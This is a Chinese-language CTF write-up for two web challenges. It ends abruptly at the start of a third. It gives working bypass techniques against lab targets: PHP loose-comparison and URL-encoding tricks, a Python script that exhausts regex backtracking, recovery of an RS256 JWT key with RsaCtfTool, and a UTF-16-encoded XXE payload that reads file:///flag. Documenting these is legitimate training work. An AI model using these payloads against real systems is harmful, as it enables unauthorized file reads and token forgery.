Web
Web4-初
if(isset($_GET['one']) && $_GET['one'] == 0 && $_GET['one'])
php弱比较,通过传入one=0a可满足条件
$query = $_SERVER['QUERY_STRING'];
if(strpos($query,'one') !== false)
$_SERVER['QUERY_STRING']获取url中‘?’后面的内容,然后检测是否包含‘one’子字符串,由于$_SERVER['QUERY_STRING']不会进行url解码,传入%6fne=0a,可满足条件
最后是
if(!is_array($two)){
if(preg_match('/Love.*flag/is',$two) == false){
if(strpos($two,'Love flag')!==false){
需要不满足正则匹配 /Love.*flag/is,同时又必须存在 Love flag字符串,可以使用正则回溯漏洞绕过。
脚本:
import requests
data = {'two': 'Love flag' + 'a' * 1000000}
html = requests.post('http://192.168.221.120/',params='%%36%66ne=0a' ,data=data)
print(html.text)
Web5-中
有两个账号
admin/123456
test/123456
登录后cookie有个token参数,用了jwt,使用rs256算法
admin
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE5Mi4xNjguMjAwLjEifQ.BysxuuRY9Kh0R2O3FOVI3igK9gcYsLmydfrSkP-fHVJu8l0mrY9iD_jf-PIcD4wSJH9r2oJqrNiJdxnm1rt6mDy7U_03Bvc6e_mH_3hH7ySf2uNddkG4wZTY92kTvwl1PQ
test
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTkyLjE2OC4yMDAuMSJ9.AvXkg72Z6J8mPT5v-0dB_3cEWmwL16FCX6nNK-NGrAoetEIlqFh9NE-CmldoRagIGEDxdg00m-g-fZ8BKOfZoq5DC5ve8Ge1aCz_gWpFYgZ71AHhmwYCdqOx7Z_J-0hPtQ
登录admin会提示ip被ban了,登录ip存在jwt里面
有了两个rsa加密的jwt,可以去猜公钥
跑出来8个公钥
https://github.com/Ganapati/RsaCtfTool
python3.9 RsaCtfTool.py --publickey ./public.key --private
跑私钥
点击链接
可能存在ssrf
点击test是个上传点,上传到内网8000端口
可以判断处理了xml
想要触发xxe过滤了system等关键字
绕过关键字,iconv -f utf8 -t utf-16 2.xml > 3.xml 把payload进行编码上传
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
同时用unicode编码绕过检测
{"url":"oss.jxsec.cn\u003a8000","file":"208d19e4cc6eaaac30c8ad98251b45a7.xml"}
Web6-中
&